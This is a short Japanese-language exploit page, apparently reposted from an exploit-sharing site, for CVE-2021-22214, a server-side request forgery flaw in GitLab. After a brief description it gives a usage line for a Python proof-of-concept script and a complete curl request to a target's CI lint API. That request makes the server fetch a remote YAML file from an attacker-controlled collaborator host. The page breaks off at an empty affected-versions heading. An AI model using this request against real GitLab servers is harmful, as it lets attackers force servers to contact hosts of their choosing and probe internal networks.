CVE-2021-22214

CVE-2021-22214 のPOC: Gitlab SSRF

説明

リモートのGitLabインストールには、Webhook用の内部ネットワークが有効になっていることに起因するサーバーサイドリクエストフォージェリ(SSRF)の脆弱性が含まれています。リモートの未認証の攻撃者は、登録制限のあるGitLabインスタンスを悪用して、攻撃者が選択した任意のドメインに対してHTTPリクエストを送信させることができます。

使用方法

• Pythonコード

  root@kitploit:~

  usage:   python3 GitLab_SSRF.py <target> <burp_collaborator_url>
  

• Curlコマンド

curl -s –show-error -H 'Content-Type: application/json' https://TargetIP/api/v4/ci/lint –data '{ "include_merged_yaml": true, "content": "include:\n remote: http://Burp-Collaborator/test.yml"}' 

影響を受けるバージョン